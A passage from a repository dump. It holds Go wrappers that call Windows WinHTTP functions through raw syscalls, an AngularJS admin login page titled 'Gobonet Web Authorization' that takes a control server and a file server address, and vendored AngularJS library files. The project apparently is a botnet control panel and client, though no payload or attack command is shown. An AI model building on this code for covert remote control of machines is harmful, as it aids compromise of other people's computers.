	lpszProxyBypass   *uint32
}

type winHttpProxyInfo struct {
	dwAccessType    uint32
	lpszProxy       *uint32
	lpszProxyBypass *uint32
}

func WinHttpGetIEProxyConfigForCurrentUser(lpIeProxy *winHttpIEProxyConfig) (result int) {
	ret, _, _ := syscall.Syscall(uintptr(winHttpGetIEProxyConfigForCurrentUser),
		1,
		uintptr(unsafe.Pointer(lpIeProxy)),
		0,
		0)
	return int(ret)
}

func WinHttpOpen(useragent string) (resp uintptr) {
	hSession, _, _ := syscall.Syscall6(uintptr(winHttpOpen),
		5,
		uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(useragent))),
		0, 0, 0, 0, 0)
	return hSession
}

func WinHttpConnect(hSession uintptr, url string, port int) (resp uintptr) {
	hConnect, _, _ := syscall.Syscall6(uintptr(winHttpConnect),
		4,
		hSession,
		uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(url))),
		uintptr(port),
		0, 0, 0)
	return hConnect
}

func WinHttpOpenRequest(hConnect uintptr, method string, uri string) (resp uintptr) {
	hRequest, _, _ := syscall.Syscall9(uintptr(winHttpOpenRequest),
		7,
		hConnect,
		uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(method))),
		uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(uri))),
		0, 0, 0, 0, 0, 0)
	return hRequest
}

func WinHttpSetTimeOut(hSession uintptr, dwResolveTimeout, dwConnectTimeout, dwSendTimeout, dwReceiveTimeout int) (response uintptr) {
	result, _, _ := syscall.Syscall9(uintptr(winHttpSetTimeOut), 5,
		hSession,
		uintptr(dwResolveTimeout),
		uintptr(dwConnectTimeout),
		uintptr(dwSendTimeout),
		uintptr(dwReceiveTimeout), 0, 0, 0, 0)
	return result
}

func WinHttpSendRequest(hRequest uintptr, optional []byte, optional_len int) (resp uintptr) {
	var bResults uintptr
	if optional_len == 0 {
		bResults, _, _ = syscall.Syscall9(uintptr(winHttpSendRequest), 7,
			hRequest, 0, 0, 0, 0, 0, 0, 0, 0)
	} else {
		bResults, _, _ = syscall.Syscall9(uintptr(winHttpSendRequest), 7,
			hRequest, 0, 0,
			uintptr(unsafe.Pointer(&optional[0])),
			uintptr(optional_len),
			uintptr(optional_len),
			0, 0, 0)
	}
	return bResults
}

func WinHttpReceiveResponse(hRequest uintptr) (resp uintptr) {
	bResults, _, _ := syscall.Syscall(uintptr(winHttpReceiveResponse), 2, hRequest, 0, 0)
	return bResults
}

func WinHttpQueryDataAvailable(hRequest uintptr, dwSize *uint32) {
	syscall.Syscall(uintptr(winHttpQueryDataAvailable), 2, hRequest, uintptr(unsafe.Pointer(dwSize)), 0)
}

func WinHttpReadData(hRequest uintptr, buf []byte, dwSize uint32, dwDownloaded *uint32) {
	syscall.Syscall6(uintptr(winHttpReadData),
		4,
		hRequest,
		uintptr(unsafe.Pointer(&buf[0])),
		uintptr(dwSize),
		uintptr(unsafe.Pointer(&*dwDownloaded)), 0, 0)
}

func WinHttpAddRequestHeaders(hRequest uintptr, headers string, flag int) {
	syscall.Syscall6(uintptr(winHttpAddRequestHeaders),
		4,
		hRequest,
		uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(headers))),
		uintptr(len(headers)),
		uintptr(flag), 0, 0)
}

func WinHttpSetOption(hSession uintptr, option uintptr, buffer uintptr, buffersize uintptr) {
	syscall.Syscall6(uintptr(winHttpSetOption),
		4,
		hSession,
		option,
		buffer,
		buffersize, 0, 0)
}

func WinHttpCloseHandle(hHandle uintptr) {
	syscall.Syscall(uintptr(winHttpCloseHandle), 1, hHandle, 0, 0)
}


================================================
FILE: web/auth.html
================================================
<!DOCTYPE html>
<html>

<head>
    <link rel="stylesheet" href="bower_components/angular-material/angular-material.min.css">
</head>

<body>
    <div ng-app="auth" ng-controller="authControl" layout="column" layout-padding ng-cloak>
        <md-toolbar md-scroll-shrink ng-if="true">
            <div class="md-toolbar-tools">
                <h3><span>Gobonet Web Authorization</span></h3>
            </div>
        </md-toolbar>
        <md-content class="md-no-momentum">
            <md-input-container class="md-icon-float md-block">
                <label>Login</label>
                <input ng-model="username" type="text">
            </md-input-container>
            <md-input-container md-no-float class="md-block">
                <label>Password</label>
                <input ng-model="password" type="password">
            </md-input-container>
            <md-input-container md-no-float class="md-block">
                <label>server:port</label>
                <input ng-model="server_host" type="text">
            </md-input-container>
            <md-input-container md-no-float class="md-block">
                <label>server:port for files</label>
                <input ng-model="server_host_files" type="text">
            </md-input-container>
            <md-button class="md-raised" ng-click="SendData()">LOG IN</md-button>
        </md-content>
    </div>
    <script src="bower_components/angular/angular.min.js"></script>
    <script src="bower_components/angular-animate/angular-animate.min.js"></script>
    <script src="bower_components/angular-aria/angular-aria.min.js"></script>
    <script src="bower_components/angular-messages/angular-messages.min.js"></script>
    <script src="bower_components/angular-material/angular-material.min.js"></script>
    <script src="bower_components/jquery/dist/jquery.min.js"></script>
    <script src="bower_components/ngstorage/ngStorage.min.js"></script>
    <script>
    var app = angular.module('auth', ['ngStorage', 'ngMaterial']);
    app.controller('authControl', function($scope, $http, $window) {
        $scope.username = '';
        $scope.password = '';
        $scope.server_host = $window.sessionStorage.getItem('Server')
        $scope.server_host_files = $window.sessionStorage.getItem('ServerFiles')
        var loc = $window.location.href;
        $scope.pathhost = loc.substring(0, loc.lastIndexOf('/'));

        if ($scope.server_host == undefined || $scope.server_host == "") {
            $scope.server_host = '127.0.0.1:80'
        }
        if ($scope.server_host_files == undefined || $scope.server_host_files == "") {
            $scope.server_host_files = '127.0.0.1:8090/files'
        }


        $scope.CheckAuth = function() {
            if ($window.sessionStorage.getItem('Token') != undefined) {
                $window.location.href = $scope.pathhost + '/main.html';
            }
        };
        $scope.CheckAuth()

        $scope.SendData = function() {
            if ($scope.server_host != "") {
                $window.sessionStorage.setItem('Server', $scope.server_host);
            }
            if ($scope.server_host_files != "") {
                $window.sessionStorage.setItem('ServerFiles', $scope.server_host_files);
            }
            var data = $.param({
                username: $scope.username,
                password: $scope.password
            });

            var config = {
                headers: {
                    'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8;'
                }
            }
            $http.post('http://' + $scope.server_host + '/api/v1/admin/auth', data, config)
                .success(function(data, status, headers, config) {
                    $http.defaults.headers.common.Authorization = 'Bearer ' + data.jwt_token;
                    $window.sessionStorage.setItem('Token', 'Bearer ' + data.jwt_token);
                    $window.location.href = $scope.pathhost + '/main.html';
                })
                .error(function(data, status, header, config) {});
        };

    });
    </script>
</body>

</html>


================================================
FILE: web/bower.json
================================================
{
  "name": "gobonet",
  "authors": [
    "sasha <zavgoroa@yahoo.com>"
  ],
  "description": "",
  "main": "",
  "license": "MIT",
  "homepage": "",
  "private": true,
  "ignore": [
    "**/.*",
    "node_modules",
    "bower_components",
    "test",
    "tests"
  ],
  "dependencies": {
    "jquery": "^3.1.0",
    "angular": "^1.5.7",
    "angular-material": "^1.0.9",
    "ngstorage": "^0.3.10",
    "bootstrap": "^3.3.6",
    "angular-base64": "^2.0.5",
    "angular-clipboard": "^1.4.2"
  }
}


================================================
FILE: web/bower_components/angular/.bower.json
================================================
{
  "name": "angular",
  "version": "1.5.7",
  "license": "MIT",
  "main": "./angular.js",
  "ignore": [],
  "dependencies": {},
  "homepage": "https://github.com/angular/bower-angular",
  "_release": "1.5.7",
  "_resolution": {
    "type": "version",
    "tag": "v1.5.7",
    "commit": "8b7bc41468112797f501b2f6502a2be5c6a1bf5f"
  },
  "_source": "https://github.com/angular/bower-angular.git",
  "_target": "^1.5.7",
  "_originalSource": "angular",
  "_direct": true
}

================================================
FILE: web/bower_components/angular/LICENSE.md
================================================
The MIT License (MIT)

Copyright (c) 2016 Angular

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.


================================================
FILE: web/bower_components/angular/README.md
================================================
# packaged angular

This repo is for distribution on `npm` and `bower`. The source for this module is in the
[main AngularJS repo](https://github.com/angular/angular.js).
Please file issues and pull requests against that repo.

## Install

You can install this package either with `npm` or with `bower`.

### npm

```shell
npm install angular
```

Then add a `<script>` to your `index.html`:

```html
<script src="/node_modules/angular/angular.js"></script>
```

Or `require('angular')` from your code.

### bower

```shell
bower install angular
```

Then add a `<script>` to your `index.html`:

```html
<script src="/bower_components/angular/angular.js"></script>
```

## Documentation

Documentation is available on the
[AngularJS docs site](http://docs.angularjs.org/).

## License

The MIT License

Copyright (c) 2010-2015 Google, Inc. http://angularjs.org

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.


================================================
FILE: web/bower_components/angular/angular-csp.css
================================================
/* Include this file in your html if you are using the CSP mode. */

@charset "UTF-8";

[ng\:cloak], [ng-cloak], [data-ng-cloak], [x-ng-cloak],
.ng-cloak, .x-ng-cloak,
.ng-hide:not(.ng-hide-animate) {
  display: none !important;
}

ng\:form {
  display: block;
}

.ng-animate-shim {
  visibility:hidden;
}

.ng-anchor {
  position:absolute;
}


================================================
FILE: web/bower_components/angular/angular.js
================================================
/**
 * @license AngularJS v1.5.7
 * (c) 2010-2016 Google, Inc. http://angularjs.org
 * License: MIT
 */
(function(window) {'use strict';

/**
 * @description
 *
 * This object provides a utility for producing rich Error messages within
 * Angular. It can be called as follows:
 *
 * var exampleMinErr = minErr('example');
 * throw exampleMinErr('one', 'This {0} is {1}', foo, bar);
 *
 * The above creates an instance of minErr in the example namespace. The
 * resulting error will have a namespaced error code of example.one.  The
 * resulting error will replace {0} with the value of foo, and {1} with the
 * value of bar. The object is not restricted in the number of arguments it can
 * take.
 *
 * If fewer arguments are specified than necessary for interpolation, the extra
 * interpolation markers will be preserved in the final string.
 *
 * Since data will be parsed statically during a build step, some restrictions
 * are applied with respect to how minErr instances are created and called.
 * Instances should have names of the form namespaceMinErr for a minErr created
 * using minErr('namespace') . Error codes, namespaces and template strings
 * should all be static strings, not variables or general expressions.
 *
 * @param {string} module The namespace to use for the new minErr instance.
 * @param {function} ErrorConstructor Custom error constructor to be instantiated when returning
 *   error from returned function, for cases when a particular type of error is useful.
 * @returns {function(code:string, template:string, ...templateArgs): Error} minErr instance
 */

function minErr(module, ErrorConstructor) {
  ErrorConstructor = ErrorConstructor || Error;
  return function() {
    var SKIP_INDEXES = 2;

    var templateArgs = arguments,
      code = templateArgs[0],
      message = '[' + (module ? module + ':' : '') + code + '] ',
      template = templateArgs[1],
      paramPrefix, i;

    message += template.replace(/\{\d+\}/g, function(match) {
      var index = +match.slice(1, -1),
        shiftedIndex = index + SKIP_INDEXES;

      if (shiftedIndex < templateArgs.length) {
        return toDebugString(templateArgs[shiftedIndex]);
      }

      return match;
    });

    message += '\nhttp://errors.angularjs.org/1.5.7/' +
      (module ? module + '/' : '') + code;

    for (i = SKIP_INDEXES, paramPrefix = '?'; i < templateArgs.length; i++, paramPrefix = '&') {
      message += paramPrefix + 'p' + (i - SKIP_INDEXES) + '=' +
        encodeURIComponent(toDebugString(templateArgs[i]));
    }

    return new ErrorConstructor(message);
  };
}

/* We need to tell jshint what variables are being exported */
/* global angular: true,
  msie: true,
  jqLite: true,
  jQuery: true,
  slice: true,
  splice: true,
  push: true,
  toString: true,
  ngMinErr: true,
  angularModule: true,
  uid: true,
  REGEX_STRING_REGEXP: true,
  VALIDITY_STATE_PROPERTY: true,

  lowercase: true,
  uppercase: true,
  manualLowercase: true,
  manualUppercase: true,
  nodeName_: true,
  isArrayLike: true,
  forEach: true,
  forEachSorted: true,
  reverseParams: true,
  nextUid: true,
  setHashKey: true,
  extend: true,
  toInt: true,
  inherit: true,
  merge: true,
  noop: true,
  identity: true,
  valueFn: true,
  isUndefined: true,
  isDefined: true,
  isObject: true,
  isBlankObject: true,
  isString: true,
  isNumber: true,
  isDate: true,
  isArray: true,
  isFunction: true,
  isRegExp: true,
  isWindow: true,
  isScope: true,
  isFile: true,
  isFormData: true,
  isBlob: true,
  isBoolean: true,
  isPromiseLike: true,
  trim: true,
  escapeForRegexp: true,
  isElement: true,
  makeMap: true,
  includes: true,
  arrayRemove: true,
  copy: true,
  equals: true,
  csp: true,
  jq: true,
  concat: true,
  sliceArgs: true,
  bind: true,
  toJsonReplacer: true,
  toJson: true,
  fromJson: true,
  convertTimezoneToLocal: true,
  timezoneToOffset: true,
  startingTag: true,
  tryDecodeURIComponent: true,
  parseKeyValue: true,
  toKeyValue: true,
  encodeUriSegment: true,
  encodeUriQuery: true,
  angularInit: true,
  bootstrap: true,
  getTestability: true,
  snake_case: true,
  bindJQuery: true,
  assertArg: true,
  assertArgFn: true,
  assertNotHasOwnProperty: true,
  getter: true,
  getBlockNodes: true,
  hasOwnProperty: true,
  createMap: true,

  NODE_TYPE_ELEMENT: true,
  NODE_TYPE_ATTRIBUTE: true,
  NODE_TYPE_TEXT: true,
  NODE_TYPE_COMMENT: true,
  NODE_TYPE_DOCUMENT: true,
  NODE_TYPE_DOCUMENT_FRAGMENT: true,
*/

////////////////////////////////////

/**
 * @ngdoc module
 * @name ng
 * @module ng
 * @installation
 * @description
 *
 * # ng (core module)
 * The ng module is loaded by default when an AngularJS application is started. The module itself
 * contains the essential components for an AngularJS application to function. The table below
 * lists a high level breakdown of each of the services/factories, filters, directives and testing
 * components available within this core module.
 *
 * <div doc-module-components="ng"></div>
 */

var REGEX_STRING_REGEXP = /^\/(.+)\/([a-z]*)$/;

// The name of a form control's ValidityState property.
// This is used so that it's possible for internal tests to create mock ValidityStates.
var VALIDITY_STATE_PROPERTY = 'validity';

var hasOwnProperty = Object.prototype.hasOwnProperty;

var lowercase = function(string) {return isString(string) ? string.toLowerCase() : string;};
var uppercase = function(string) {return isString(string) ? string.toUpperCase() : string;};


var manualLowercase = function(s) {
  /* jshint bitwise: false */
  return isString(s)
      ? s.replace(/[A-Z]/g, function(ch) {return String.fromCharCode(ch.charCodeAt(0) | 32);})
      : s;
};
var manualUppercase = function(s) {
  /* jshint bitwise: false */
  return isString(s)
      ? s.replace(/[a-z]/g, function(ch) {return String.fromCharCode(ch.charCodeAt(0) & ~32);})
      : s;
};


// String#toLowerCase and String#toUpperCase don't produce correct results in browsers with Turkish
// locale, for this reason we need to detect this case and redefine lowercase/uppercase methods
// with correct but slower alternatives. See https://github.com/angular/angular.js/issues/11387
if ('i' !== 'I'.toLowerCase()) {
  lowercase = manualLowercase;
  uppercase = manualUppercase;
}


var
    msie,             // holds major version number for IE, or NaN if UA is not IE.
    jqLite,           // delay binding since jQuery could be loaded after us.
    jQuery,           // delay binding
    slice             = [].slice,
    splice            = [].splice,
    push              = [].push,
    toString          = Object.prototype.toString,
    getPrototypeOf    = Object.getPrototypeOf,
    ngMinErr          = minErr('ng'),

    /** @name angular */
    angular           = window.angular || (window.angular = {}),
    angularModule,
    uid               = 0;

/**
 * documentMode is an IE-only property
 * http://msdn.microsoft.com/en-us/library/ie/cc196988(v=vs.85).aspx
 */
msie = window.document.documentMode;


/**
 * @private
 * @param {*} obj
 * @return {boolean} Returns true if `obj` is an array or array-like object (NodeList, Arguments,
 *                   String ...)
 */
function isArrayLike(obj) {

  // `null`, `undefined` and `window` are not array-like
  if (obj == null || isWindow(obj)) return false;

  // arrays, strings and jQuery/jqLite objects are array like
  // * jqLite is either the jQuery or jqLite constructor function
  // * we have to check the existence of jqLite first as this method is called
  //   via the forEach method when constructing the jqLite object in the first place
  if (isArray(obj) || isString(obj) || (jqLite && obj instanceof jqLite)) return true;

  // Support: iOS 8.2 (not reproducible in simulator)
  // "length" in obj used to prevent JIT error (gh-11508)
  var length = "length" in Object(obj) && obj.length;

  // NodeList objects (with `item` method) and
  // other objects with suitable length characteristics are array-like
  return isNumber(length) &&
    (length >= 0 && ((length - 1) in obj || obj instanceof Array) || typeof obj.item == 'function');

}

/**
 * @ngdoc function
 * @name angular.forEach
 * @module ng
 * @kind function
 *
 * @description
 * Invokes the `iterator` function once for each item in `obj` collection, which can be either an
 * object or an array. The `iterator` function is invoked with `iterator(value, key, obj)`, where `value`
 * is the value of an object property or an array element, `key` is the object property key or
 * array element index and obj is the `obj` itself. Specifying a `context` for the function is optional.
 *
 * It is worth noting that `.forEach` does not iterate over inherited properties because it filters
 * using the `hasOwnProperty` method.
 *
 * Unlike ES262's
 * [Array.prototype.forEach](http://www.ecma-international.org/ecma-262/5.1/#sec-15.4.4.18),
 * providing 'undefined' or 'null' values for `obj` will not throw a TypeError, but rather just
 * return the value provided.
 *
   ```js
     var values = {name: 'misko', gender: 'male'};
     var log = [];
     angular.forEach(values, function(value, key) {
       this.push(key + ': ' + value);
     }, log);
     expect(log).toEqual(['name: misko', 'gender: male']);
   ```
 *
 * @param {Object|Array} obj Object to iterate over.
 * @param {Function} iterator Iterator function.
 * @param {Object=} context Object to become context (`this`) for the iterator function.
 * @returns {Object|Array} Reference to `obj`.
 */

function forEach(obj, iterator, context) {
  var key, length;
  if (obj) {
    if (isFunction(obj)) {
      for (key in obj) {
        // Need to check if hasOwnProperty exists,
        // as on IE8 the result of querySelectorAll is an object without a hasOwnProperty function
        if (key != 'prototype' && key != 'length' && key != 'name' && (!obj.hasOwnProperty || obj.hasOwnProperty(key))) {
          iterator.call(context, obj[key], key, obj);
        }
      }
    } else if (isArray(obj) || isArrayLike(obj)) {
      var isPrimitive = typeof obj !== 'object';
      for (key = 0, length = obj.length; key < length; key++) {
        if (isPrimitive || key in obj) {
          iterator.call(context, obj[key], key, obj);
        }
      }
    } else if (obj.forEach && obj.forEach !== forEach) {
        obj.forEach(iterator, context, obj);
    } else if (isBlankObject(obj)) {
      // createMap() fast path --- Safe to avoid hasOwnProperty check because prototype chain is empty
      for (key in obj) {
        iterator.call(context, obj[key], key, obj);
      }
    } else if (typeof obj.hasOwnProperty === 'function') {
      // Slow path for objects inheriting Object.prototype, hasOwnProperty check needed
      for (key in obj) {
        if (obj.hasOwnProperty(key)) {
          iterator.call(context, obj[key], key, obj);
        }
      }
    } else {
      // Slow path for objects which do not have a method `hasOwnProperty`
      for (key in obj) {
        if (hasOwnProperty.call(obj, key)) {
          iterator.call(context, obj[key], key, obj);
        }
      }
    }
  }
  return obj;
}

function forEachSorted(obj, iterator, context) {
  var keys = Object.keys(obj).sort();
  for (var i = 0; i < keys.length; i++) {
    iterator.call(context, obj[keys[i]], keys[i]);
  }
  return keys;
}


/**
 * when using forEach the params are value, key, but it is often useful to have key, value.
 * @param {function(string, *)} iteratorFn
 * @returns {function(*, string)}
 */
function reverseParams(iteratorFn) {
  return function(value, key) {iteratorFn(key, value);};
}

/**
 * A consistent way of creating unique IDs in angular.
 *
 * Using simple numbers allows us to generate 28.6 million unique ids per second for 10 years before
 * we hit number precision issues in JavaScript.
 *
 * Math.pow(2,53) / 60 / 60 / 24 / 365 / 10 = 28.6M
 *
 * @returns {number} an unique alpha-numeric string
 */
function nextUid() {
  return ++uid;
}


/**
 * Set or clear the hashkey for an object.
 * @param obj object
 * @param h the hashkey (!truthy to delete the hashkey)
 */
function setHashKey(obj, h) {
  if (h) {
    obj.$$hashKey = h;
  } else {
    delete obj.$$hashKey;
  }
}


function baseExtend(dst, objs, deep) {
  var h = dst.$$hashKey;

  for (var i = 0, ii = objs.length; i < ii; ++i) {
    var obj = objs[i];
    if (!isObject(obj) && !isFunction(obj)) continue;
    var keys = Object.keys(obj);
    for (var j = 0, jj = keys.length; j < jj; j++) {
      var key = keys[j];
      var src = obj[key];

      if (deep && isObject(src)) {
        if (isDate(src)) {
          dst[key] = new Date(src.valueOf());
        } else if (isRegExp(src)) {
          dst[key] = new RegExp(src);
        } else if (src.nodeName) {
          dst[key] = src.cloneNode(true);
        } else if (isElement(src)) {
          dst[key] = src.clone();
        } else {
          if (!isObject(dst[key])) dst[key] = isArray(src) ? [] : {};
          baseExtend(dst[key], [src], true);
        }
      } else {
        dst[key] = src;
      }
    }
  }

  setHashKey(dst, h);
  return dst;
}

/**
 * @ngdoc function
 * @name angular.extend
 * @module ng
 * @kind function
 *
 * @description
 * Extends the destination object `dst` by copying own enumerable properties from the `src` object(s)
 * to `dst`. You can specify multiple `src` objects. If you want to preserve original objects, you can do so
 * by passing an empty object as the target: `var object = angular.extend({}, object1, object2)`.
 *
 * **Note:** Keep in mind that `angular.extend` does not support recursive merge (deep copy). Use
 * {@link angular.merge} for this.
 *
 * @param {Object} dst Destination object.
 * @param {...Object} src Source object(s).
 * @returns {Object} Reference to `dst`.
 */
function extend(dst) {
  return baseExtend(dst, slice.call(arguments, 1), false);
}


/**
* @ngdoc function
* @name angular.merge
* @module ng
* @kind function
*
* @description
* Deeply extends the destination object `dst` by copying own enumerable properties from the `src` object(s)
* to `dst`. You can specify multiple `src` objects. If you want to preserve original objects, you can do so
* by passing an empty object as the target: `var object = angular.merge({}, object1, object2)`.
*
* Unlike {@link angular.extend extend()}, `merge()` recursively descends into object properties of source
* objects, performing a deep copy.
*
* @param {Object} dst Destination object.
* @param {...Object} src Source object(s).
* @returns {Object} Reference to `dst`.
*/
function merge(dst) {
  return baseExtend(dst, slice.call(arguments, 1), true);
}



function toInt(str) {
  return parseInt(str, 10);
}


function inherit(parent, extra) {
  return extend(Object.create(parent), extra);
}

/**
 * @ngdoc function
 * @name angular.noop
 * @module ng
 * @kind function
 *
 * @description
 * A function that performs no operations. This function can be useful when writing code in the
 * functional style.
   ```js
     function foo(callback) {
       var result = calculateResult();
       (callback || angular.noop)(result);
     }
   ```
 */
function noop() {}
noop.$inject = [];


/**
 * @ngdoc function
 * @name angular.identity
 * @module ng
 * @kind function
 *
 * @description
 * A function that returns its first argument. This function is useful when writing code in the
 * functional style.
 *
   ```js
   function transformer(transformationFn, value) {
     return (transformationFn || angular.identity)(value);
   };

   // E.g.
   function getResult(fn, input) {
     return (fn || angular.identity)(input);
   };

   getResult(function(n) { return n * 2; }, 21);   // returns 42
   getResult(null, 21);                            // returns 21
   getResult(undefined, 21);                       // returns 21
   ```
 *
 * @param {*} value to be returned.
 * @returns {*} the value passed in.
 */
function identity($) {return $;}
identity.$inject = [];


function valueFn(value) {return function valueRef() {return value;};}

function hasCustomToString(obj) {
  return isFunction(obj.toString) && obj.toString !== toString;
}


/**
 * @ngdoc function
 * @name angular.isUndefined
 * @module ng
 * @kind function
 *
 * @description
 * Determines if a reference is undefined.
 *
 * @param {*} value Reference to check.
 * @returns {boolean} True if `value` is undefined.
 */
function isUndefined(value) {return typeof value === 'undefined';}


/**
 * @ngdoc function
 * @name angular.isDefined
 * @module ng
 * @kind function
 *
 * @description
 * Determines if a reference is defined.
 *
 * @param {*} value Reference to check.
 * @returns {boolean} True if `value` is defined.
 */
function isDefined(value) {return typeof value !== 'undefined';}


/**
 * @ngdoc function
 * @name angular.isObject
 * @module ng
 * @kind function
 *
 * @description
 * Determines if a reference is an `Object`. Unlike `typeof` in JavaScript, `null`s are not
 * considered to be objects. Note that JavaScript arrays are objects.
 *
 * @param {*} value Reference to check.
 * @returns {boolean} True if `value` is an `Object` but not `null`.
 */
function isObject(value) {
  // http://jsperf.com/isobject4
  return value !== null && typeof value === 'object';
}


/**
 * Determine if a value is an object with a null prototype
 *
 * @returns {boolean} True if `value` is an `Object` with a null prototype
 */
function isBlankObject(value) {
  return value !== null && typeof value === 'object' && !getPrototypeOf(value);
}


/**
 * @ngdoc function
 * @name angular.isString
 * @module ng
 * @kind function
 *
 * @description
 * Determines if a reference is a `String`.
 *
 * @param {*} value Reference to check.
 * @returns {boolean} True if `value` is a `String`.
 */
function isString(value) {return typeof value === 'string';}


/**
 * @ngdoc function
 * @name angular.isNumber
 * @module ng
 * @kind function
 *
 * @description
 * Determines if a reference is a `Number`.
 *
 * This includes the "special" numbers `NaN`, `+Infinity` and `-Infinity`.
 *
 * If you wish to exclude these then you can use the native
 * [`isFinite'](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/isFinite)
 * method.
 *
 * @param {*} value Reference to check.
 * @returns {boolean} True if `value` is a `Number`.
 */
function isNumber(value) {return typeof value === 'number';}


/**
 * @ngdoc function
 * @name angular.isDate
 * @module ng
 * @kind function
 *
 * @description
 * Determines if a value is a date.
 *
 * @param {*} value Reference to check.
 * @returns {boolean} True if `value` is a `Date`.
 */
function isDate(value) {
  return toString.call(value) === '[object Date]';
}


/**
 * @ngdoc function
 * @name angular.isArray
 * @module ng
 * @kind function
 *
 * @description
 * Determines if a reference is an `Array`.
 *
 * @param {*} value Reference to check.
 * @returns {boolean} True if `value` is an `Array`.
 */
var isArray = Array.isArray;

/**
 * @ngdoc function
 * @name angular.isFunction
 * @module ng
 * @kind function
 *
 * @description
 * Determines if a reference is a `Function`.
 *
 * @param {*} value Reference to check.
 * @returns {boolean} True if `value` is a `Function`.
 */
function isFunction(value) {return typeof value === 'function';}


/**
 * Determines if a value is a regular expression object.
 *
 * @private
 * @param {*} value Reference to check.
 * @returns {boolean} True if `value` is a `RegExp`.
 */
function isRegExp(value) {
  return toString.call(value) === '[object RegExp]';
}


/**
 * Checks if `obj` is a window object.
 *
 * @private
 * @param {*} obj Object to check
 * @returns {boolean} True if `obj` is a window obj.
 */
function isWindow(obj) {
  return obj && obj.window === obj;
}


function isScope(obj) {
  return obj && obj.$evalAsync && obj.$watch;
}


function isFile(obj) {
  return toString.call(obj) === '[object File]';
}


function isFormData(obj) {
  return toString.call(obj) === '[object FormData]';
}


function isBlob(obj) {
  return toString.call(obj) === '[object Blob]';
}


function isBoolean(value) {
  return typeof value === 'boolean';
}


function isPromiseLike(obj) {
  return obj && isFunction(obj.then);
}


var TYPED_ARRAY_REGEXP = /^\[object (?:Uint8|Uint8Clamped|Uint16|Uint32|Int8|Int16|Int32|Float32|Float64)Array\]$/;
function isTypedArray(value) {
  return value && isNumber(value.length) && TYPED_ARRAY_REGEXP.test(toString.call(value));
}

function isArrayBuffer(obj) {
  return toString.call(obj) === '[object ArrayBuffer]';
}


var trim = function(value) {
  return isString(value) ? value.trim() : value;
};

// Copied from:
// http://docs.closure-library.googlecode.com/git/local_closure_goog_string_string.js.source.html#line1021
// Prereq: s is a string.
var escapeForRegexp = function(s) {
  return s.replace(/([-()\[\]{}+?*.$\^|,:#<!\\])/g, '\\$1').
           replace(/\x08/g, '\\x08');
};


/**
 * @ngdoc function
 * @name angular.isElement
 * @module ng
 * @kind function
 *
 * @description
 * Determines if a reference is a DOM element (or wrapped jQuery element).
 *
 * @param {*} value Reference to check.
 * @returns {boolean} True if `value` is a DOM element (or wrapped jQuery element).
 */
function isElement(node) {
  return !!(node &&
    (node.nodeName  // We are a direct element.
    || (node.prop && node.attr && node.find)));  // We have an on and find method part of jQuery API.
}

/**
 * @param str 'key1,key2,...'
 * @returns {object} in the form of {key1:true, key2:true, ...}
 */
function makeMap(str) {
  var obj = {}, items = str.split(','), i;
  for (i = 0; i < items.length; i++) {
    obj[items[i]] = true;
  }
  return obj;
}


function nodeName_(element) {
  return lowercase(element.nodeName || (element[0] && element[0].nodeName));
}

function includes(array, obj) {
  return Array.prototype.indexOf.call(array, obj) != -1;
}

function arrayRemove(array, value) {
  var index = array.indexOf(value);
  if (index >= 0) {
    array.splice(index, 1);
  }
  return index;
}

/**
 * @ngdoc function
 * @name angular.copy
 * @module ng
 * @kind function
 *
 * @description
 * Creates a deep copy of `source`, which should be an object or an array.
 *
 * * If no destination is supplied, a copy of the object or array is created.
 * * If a destination is provided, all of its elements (for arrays) or properties (for objects)
 *   are deleted and then all elements/properties from the source are copied to it.
 * * If `source` is not an object or array (inc. `null` and `undefined`), `source` is returned.
 * * If `source` is identical to 'destination' an exception will be thrown.
 *
 * @param {*} source The source that will be used to make a copy.
 *                   Can be any type, including primitives, `null`, and `undefined`.
 * @param {(Object|Array)=} destination Destination into which the source is copied. If
 *     provided, must be of the same type as `source`.
 * @returns {*} The copy or updated `destination`, if `destination` was specified.
 *
 * @example
 <example module="copyExample">
 <file name="index.html">
 <div ng-controller="ExampleController">
 <form novalidate class="simple-form">
 Name: <input type="text" ng-model="user.name" /><br />
 E-mail: <input type="email" ng-model="user.email" /><br />
 Gender: <input type="radio" ng-model="user.gender" value="male" />male
 <input type="radio" ng-model="user.gender" value="female" />female<br />
